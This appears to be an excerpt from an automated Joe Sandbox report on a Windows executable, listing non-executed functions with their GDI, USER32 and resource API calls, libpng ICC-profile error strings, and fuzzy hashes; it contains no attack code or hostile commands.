Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 615690f83b8d35035d413d7b99a10b219be07fc8de564baa99da034d8110f46f
Instruction ID: 0492693384f68d6127e4b0ae4ab33a6cdb4f1bdab9dd9616163d7492797ec208
Opcode Fuzzy Hash: 615690f83b8d35035d413d7b99a10b219be07fc8de564baa99da034d8110f46f
Instruction Fuzzy Hash: DCC00136408382EBCB02CF80CD0482ABEE2BB89300F188C1CB2A24003183238029EB02

Non-executed Functions

Function 00432580 Relevance: 85.5, APIs: 47, Strings: 1, Instructions: 1494windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00498883: __EH_prolog.LIBCMT ref: 00498888
Part of subcall function 00498883: BeginPaint.USER32(?,?,?,?,0040D869), ref: 004988B1

Part of subcall function 00498434: GetClipBox.GDI32(?,?), ref: 0049843B

DPtoLP.GDI32 ref: 0043269B
GetClientRect.USER32(?,?), ref: 004326A9
DPtoLP.GDI32(?,?,00000002), ref: 004326C1
IntersectRect.USER32(?,?,?), ref: 00432760
LPtoDP.GDI32(?,?,00000002), ref: 004327A1
IntersectRect.USER32(?,?,?), ref: 004327FE
LPtoDP.GDI32(?,?,00000002), ref: 0043283F
CreateRectRgnIndirect.GDI32(?), ref: 0043286A
IntersectRect.USER32(?,?,?), ref: 0043289E
LPtoDP.GDI32(?,?,00000002), ref: 004328DF
CreateRectRgnIndirect.GDI32(?), ref: 00432905
CreateRectRgnIndirect.GDI32(?), ref: 00432934
GetCurrentObject.GDI32(?,00000006), ref: 00432950
GetCurrentObject.GDI32(?,00000001), ref: 00432969
GetCurrentObject.GDI32(?,00000002), ref: 00432982

Part of subcall function 004980F3: SetBkMode.GDI32(?,?), ref: 0049810C
Part of subcall function 004980F3: SetBkMode.GDI32(?,?), ref: 0049811A

Part of subcall function 00494EE5: GetScrollPos.USER32(00000000,004160F3), ref: 00494F03

Part of subcall function 004321B0: CreateFontIndirectA.GDI32(00000000), ref: 00432202

FillRgn.GDI32(?,?,?), ref: 00432B62
IntersectRect.USER32(?,?,?), ref: 00432C47
IsRectEmpty.USER32(?), ref: 00432C52
LPtoDP.GDI32(?,?,00000002), ref: 00432C6F
CreateRectRgnIndirect.GDI32(?), ref: 00432C7A
CombineRgn.GDI32(?,?,?,00000004), ref: 00432CAB
DPtoLP.GDI32(?,?,00000002), ref: 00432CC9

Part of subcall function 004981DA: SetMapMode.GDI32(?,?), ref: 004981F3
Part of subcall function 004981DA: SetMapMode.GDI32(?,?), ref: 00498201

PatBlt.GDI32(?,?,?,?,?,00F00021), ref: 00432D08
IntersectRect.USER32(?,?,?), ref: 00432D9B
IsRectEmpty.USER32(?), ref: 00432DE1
SelectObject.GDI32(?,?), ref: 00432E1C
DPtoLP.GDI32(?,?,00000001), ref: 00432EA8
LPtoDP.GDI32(?,?,00000001), ref: 00432FC7
DPtoLP.GDI32(?,?,00000001), ref: 00432FE5

Part of subcall function 00498508: MoveToEx.GDI32(?,?,?,?), ref: 0049852A
Part of subcall function 00498508: MoveToEx.GDI32(?,?,?,?), ref: 0049853E

Part of subcall function 00498554: MoveToEx.GDI32(?,?,?,00000000), ref: 0049856E
Part of subcall function 00498554: LineTo.GDI32(?,?,?), ref: 0049857F

Part of subcall function 00498017: SelectObject.GDI32(0040B5D5,00000000), ref: 00498039
Part of subcall function 00498017: SelectObject.GDI32(0040B5D5,?), ref: 0049804F

IntersectRect.USER32(?,00000000,?), ref: 00433132
IsRectEmpty.USER32(00000000), ref: 0043313D
PatBlt.GDI32(?,00000000,?,?,?,00F00021), ref: 00433184
LPtoDP.GDI32(?,00000000,00000002), ref: 00433199
CreateRectRgnIndirect.GDI32(00000000), ref: 004331A4
CombineRgn.GDI32(?,?,?,00000004), ref: 004331D5
LPtoDP.GDI32(?,?,00000001), ref: 00433204
DPtoLP.GDI32(?,?,00000001), ref: 00433222
wsprintfA.USER32 ref: 004332C0
SelectObject.GDI32(?,?), ref: 004332E8
IntersectRect.USER32(?,?,?), ref: 00433858
IsRectEmpty.USER32(?), ref: 00433863
LPtoDP.GDI32(?,?,00000002), ref: 00433880
CreateRectRgnIndirect.GDI32(?), ref: 0043388B
CombineRgn.GDI32(?,?,?,00000004), ref: 004338BC

Part of subcall function 00434F30: SetRectEmpty.USER32(?), ref: 00434FAA

Part of subcall function 00434F30: GetSysColor.USER32(0000000F), ref: 004350DB
Part of subcall function 00434F30: IntersectRect.USER32(?,?,?), ref: 00435133

GetSysColor.USER32(0000000F), ref: 00432A46

Part of subcall function 00498A80: __EH_prolog.LIBCMT ref: 00498A85
Part of subcall function 00498A80: CreateSolidBrush.GDI32(?), ref: 00498AA2

Part of subcall function 00498A30: __EH_prolog.LIBCMT ref: 00498A35
Part of subcall function 00498A30: CreatePen.GDI32(?,?,?), ref: 00498A58

CreateRectRgnIndirect.GDI32(?), ref: 004327C6

Part of subcall function 00433D80: CopyRect.USER32(?,00000000), ref: 00433DF7
Part of subcall function 00433D80: IsRectEmpty.USER32(?), ref: 00433E02
Part of subcall function 00433D80: GetClientRect.USER32(00000000,?), ref: 00433E41
Part of subcall function 00433D80: DPtoLP.GDI32(?,?,00000002), ref: 00433E53
Part of subcall function 00433D80: LPtoDP.GDI32(?,?,00000002), ref: 00433E90

FillRect.USER32(?,?,?), ref: 00433BB9

Strings

0bCv, xrefs: 004327C6, 00432857, 00432C7A, 004331A4, 0043388B

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Rect$Create$IndirectIntersect$Object$Empty$ModeSelect$CombineCurrentH_prologMove$ClientColorFill$BeginBrushClipCopyFontLinePaintScrollSolidwsprintf
String ID: 0bCv
API String ID: 3423044801-4161728572
Opcode ID: 218135b4d1fc7fe3439cc0de3257e610f6e4c1a127194e605e5a8d6da1c92528
Instruction ID: a55e21807aa5ae12f53743e22577794012d6f199aa12f43717e8573040184d9f
Opcode Fuzzy Hash: 218135b4d1fc7fe3439cc0de3257e610f6e4c1a127194e605e5a8d6da1c92528
Instruction Fuzzy Hash: EAD258702083819FD724DF69C895FAFB7E9AFC9704F00491EF58A83250DB74A909CB66

Function 004194E0 Relevance: 53.5, APIs: 29, Strings: 1, Instructions: 979windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 00419552
IsIconic.USER32(?), ref: 0041958A
SetActiveWindow.USER32(?,?,?), ref: 004195B3
IsWindow.USER32(?), ref: 004195DD
IsWindow.USER32(?), ref: 004198AE
DestroyAcceleratorTable.USER32(?), ref: 004199FE
DestroyMenu.USER32(?), ref: 00419A09
DestroyAcceleratorTable.USER32(?), ref: 00419A23
DestroyMenu.USER32(?), ref: 00419A32
DestroyAcceleratorTable.USER32(?), ref: 00419A92
DestroyMenu.USER32(?,000003EA,00000000,00000000,?,?,00000000,?,000007D9,00000000,00000000), ref: 00419AA1
SetParent.USER32(?,?), ref: 00419B23
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013,?,?), ref: 00419C3B
IsWindow.USER32(?), ref: 00419D6C
SendMessageA.USER32(?,0000806F,00000000,00000000), ref: 00419D81
SendMessageA.USER32(?,00008004,00000000,00000000), ref: 00419D9E
DestroyAcceleratorTable.USER32(?), ref: 00419DEC
IsWindow.USER32(?), ref: 00419E61
IsWindow.USER32(?), ref: 00419EB1
IsWindow.USER32(?), ref: 00419F01
IsWindow.USER32(?), ref: 00419F3E
IsWindow.USER32(?), ref: 00419FC1
GetParent.USER32(?), ref: 00419FCF
GetFocus.USER32 ref: 0041A010

Part of subcall function 004193D0: IsWindow.USER32(?), ref: 0041944B
Part of subcall function 004193D0: GetFocus.USER32 ref: 00419455
Part of subcall function 004193D0: IsChild.USER32(?,00000000), ref: 00419467

IsWindow.USER32(?), ref: 0041A06F
SendMessageA.USER32(?,00008076,00000000,00000000), ref: 0041A084
IsWindow.USER32(00000000), ref: 0041A097
GetFocus.USER32 ref: 0041A0A1
SetFocus.USER32(00000000), ref: 0041A0AC

Strings

d, xrefs: 004194F3

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Window$Destroy$AcceleratorFocusTable$MenuMessageSend$Parent$ActiveChildIconic
String ID: d
API String ID: 3681805233-2564639436
Opcode ID: dd8035339d516935b65bc0bec51d97fb8ddc8e97e31e859a339492121040e53a
Instruction ID: cd48a66e179184230080ee54f4fb054059b8f3dcced41add5f97dd6c0ab63221
Opcode Fuzzy Hash: dd8035339d516935b65bc0bec51d97fb8ddc8e97e31e859a339492121040e53a
Instruction Fuzzy Hash: EE72CE716043419FD324DF25C890BABB7E9AF89744F04492EF94597381DB38EC85CBAA

Function 00421AA0 Relevance: 50.0, APIs: 23, Strings: 5, Instructions: 986windowCOMMON

Download Yara Rule

APIs

IsWindowEnabled.USER32(?), ref: 00421AD9
TranslateAcceleratorA.USER32(?,?,?,?), ref: 00421B33
IsChild.USER32(?,?), ref: 00421B64
GetFocus.USER32 ref: 00421CBF
PostMessageA.USER32(?,000000A1,00000002,00000000), ref: 00421D49
PostMessageA.USER32(?,000000A1,00000002,00000000), ref: 00421DB8
IsChild.USER32(?,00000000), ref: 00421E61
SendMessageA.USER32(?,00000010,00000000,00000000), ref: 00421E32

Part of subcall function 00417400: IsChild.USER32(?,?), ref: 0041747D
Part of subcall function 00417400: GetParent.USER32(?), ref: 00417497

IsWindow.USER32(?), ref: 00422739

Strings

A, xrefs: 00422033
9, xrefs: 0042202E
Z, xrefs: 0042203C
hlp, xrefs: 004223DD
0, xrefs: 00422029

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: ChildMessage$PostWindow$AcceleratorEnabledFocusParentSendTranslate
String ID: 0$9$A$Z$hlp
API String ID: 3372979518-114186910
Opcode ID: c925ea9009cdea6f63f4c464d80b058fc836fe3ad05cc33887f4b13baf41c6f8
Instruction ID: cfda951a0476d57ef878b3eb5a310ede7a7c809f822b9a58d054be0c8b4fe3d9
Opcode Fuzzy Hash: c925ea9009cdea6f63f4c464d80b058fc836fe3ad05cc33887f4b13baf41c6f8
Instruction Fuzzy Hash: 0E72E070304351ABDB24DE24E990BABB7A4AF94304F50092FF955D73A1DB78EC41CB6A

Function 00445450 Relevance: 32.8, Strings: 26, Instructions: 305COMMON

Download Yara Rule

Strings

YARG, xrefs: 004455DE
unrecognized ICC profile class, xrefs: 004456EB
unexpected NamedColor ICC profile class, xrefs: 004456CA
unexpected DeviceLink ICC profile class, xrefs: 00445694
unexpected ICC PCS encoding, xrefs: 0044572E
knil, xrefs: 00445680
BGR, xrefs: 004455E5
RGB color space not permitted on grayscale PNG, xrefs: 00445610
rtrp, xrefs: 004456D6
baL, xrefs: 00445720
invalid ICC profile color space, xrefs: 004455F0
intent outside defined range, xrefs: 0044553F
lcmn, xrefs: 00445670
rtnm, xrefs: 00445687
invalid rendering intent, xrefs: 0044551D
psca, xrefs: 00445578
length does not match profile, xrefs: 00445489
Gray color space not permitted on RGB PNG, xrefs: 00445634
invalid embedded Abstract ICC profile, xrefs: 004456B1
caps, xrefs: 004456E4
tag count too large, xrefs: 00445754
rncs, xrefs: 004456DD
invalid signature, xrefs: 0044557F
ZYX, xrefs: 00445727
tsba, xrefs: 00445679
PCS illuminant is not D50, xrefs: 004455A4

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID: BGR$ ZYX$ baL$Gray color space not permitted on RGB PNG$PCS illuminant is not D50$RGB color space not permitted on grayscale PNG$YARG$caps$intent outside defined range$invalid ICC profile color space$invalid embedded Abstract ICC profile$invalid rendering intent$invalid signature$knil$lcmn$length does not match profile$psca$rncs$rtnm$rtrp$tag count too large$tsba$unexpected DeviceLink ICC profile class$unexpected ICC PCS encoding$unexpected NamedColor ICC profile class$unrecognized ICC profile class
API String ID: 0-319498373
Opcode ID: 62099fd52ba128b7290311778c7da3be3d20f675d5c64ec7ffd847f35b76eb9d
Instruction ID: a90f950dff8950a507342453337ff7cca7b9c9815c6ae276ddbdd7260ab2596e
Opcode Fuzzy Hash: 62099fd52ba128b7290311778c7da3be3d20f675d5c64ec7ffd847f35b76eb9d
Instruction Fuzzy Hash: 75915BE370455017FF08CE2C9C92A777B9AABC9305F5E84AFF988CA303E559C9058679

Function 00422C90 Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 93libraryloaderwindowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00422C9C
IsZoomed.USER32(?), ref: 00422CAA
LoadLibraryA.KERNEL32(User32.dll,00000003,00000009), ref: 00422CD4
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 00422CE7
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 00422CF5
FreeLibrary.KERNEL32(00000000), ref: 00422D2B
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00422D41
IsWindow.USER32(?), ref: 00422D6E
ShowWindow.USER32(?,00000005,?,?,?,?,00000004), ref: 00422D7B

Strings

User32.dll, xrefs: 00422CC9
H, xrefs: 00422D18
MonitorFromWindow, xrefs: 00422CE1
GetMonitorInfoA, xrefs: 00422CED

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: AddressLibraryProcWindow$FreeIconicInfoLoadParametersShowSystemZoomed
String ID: GetMonitorInfoA$H$MonitorFromWindow$User32.dll
API String ID: 447426925-661446951
Opcode ID: 7fef8f198372bb4ad042d4d3233b687d17d0399a820c8a9ca298e47c0a501ccf
Instruction ID: df0cb89df2d47af5948d8b3e47712f01407c4293f6a13494fe65780cb9a50b8d
Opcode Fuzzy Hash: 7fef8f198372bb4ad042d4d3233b687d17d0399a820c8a9ca298e47c0a501ccf
Instruction Fuzzy Hash: 1D31D731700312AFEB109F65DC49F6B7BA8EF85B40F40852DF90197290EBB8DC058B69

Function 0041B850 Relevance: 18.3, APIs: 12, Instructions: 273windowthreadnetworkCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0041B875
IsWindow.USER32(00010440), ref: 0041B891
SendMessageA.USER32(00010440,000083E7,?,00000000), ref: 0041B8AA
ExitProcess.KERNEL32 ref: 0041B8BF
FreeLibrary.KERNEL32(?), ref: 0041B9A3
FreeLibrary.KERNEL32 ref: 0041B9F7
DestroyIcon.USER32(0007042B), ref: 0041BA47
DestroyIcon.USER32(0002042D), ref: 0041BA5E
IsWindow.USER32(00010440), ref: 0041BA75
DestroyIcon.USER32(?,00000001,00000000,000000FF), ref: 0041BB24
WSACleanup.WS2_32 ref: 0041BB6F

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: DestroyIcon$FreeLibraryWindow$CleanupCurrentExitMessageProcessSendThread
String ID:
API String ID: 3816745216-0
Opcode ID: c95ae4b76d3d57a86ea690571bb21adebd5a42f61585e54a872585f7637ae0cf
Instruction ID: 743b3a0c78ef6d300644174495b2f9ff13f64d7b58ac7ebf5b3413877411a457
Opcode Fuzzy Hash: c95ae4b76d3d57a86ea690571bb21adebd5a42f61585e54a872585f7637ae0cf
Instruction Fuzzy Hash: EFB158706007029BC724DF65C8D5BEBB7E4FF48304F44492EE59A97291CB38B981CB98

Function 0041E8A0 Relevance: 15.4, APIs: 10, Instructions: 430COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 837bcaad7e8da2bb30912cddc8c4b94392b7a6d291a778439b0591ced02fc6e2
Instruction ID: e1124756ad88e6338dfb0aa1a18aa5c0a8deb0845e378e54901e4450eba282c3
Opcode Fuzzy Hash: 837bcaad7e8da2bb30912cddc8c4b94392b7a6d291a778439b0591ced02fc6e2
Instruction Fuzzy Hash: 5EC1237A7046048FE710EF2AEC85AABB794FB84314F504C2FE846C7342D73AE9458799

Function 00492E30 Relevance: 13.6, APIs: 9, Instructions: 113COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00492E35
FindResourceA.KERNEL32(?,00000000,00000005), ref: 00492E6D
LoadResource.KERNEL32(?,00000000,?,?,?,00000000), ref: 00492E75

Part of subcall function 00493C72: UnhookWindowsHookEx.USER32(?), ref: 00493C97

LockResource.KERNEL32(?,?,00000000,?,?,?,00000000), ref: 00492E82
IsWindowEnabled.USER32(?), ref: 00492EB5
EnableWindow.USER32(?,00000000), ref: 00492EC3
EnableWindow.USER32(?,00000001), ref: 00492F51
GetActiveWindow.USER32 ref: 00492F5C
SetActiveWindow.USER32(?,?,?,00000000,?,?,?,00000000), ref: 00492F6A

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Window$Resource$ActiveEnable$EnabledFindH_prologHookLoadLockUnhookWindows
String ID:
API String ID: 401145483-0
Opcode ID: 26f517485c3d00e2301c3a6ccd60f58aeb1ae5dcc912ee6e3801ea4832a49b48
Instruction ID: 5fe29d0f2135cb88a3e9b18dd12ec8a9749b250e7dfbc4f0ea23a971051c98b5
Opcode Fuzzy Hash: 26f517485c3d00e2301c3a6ccd60f58aeb1ae5dcc912ee6e3801ea4832a49b48
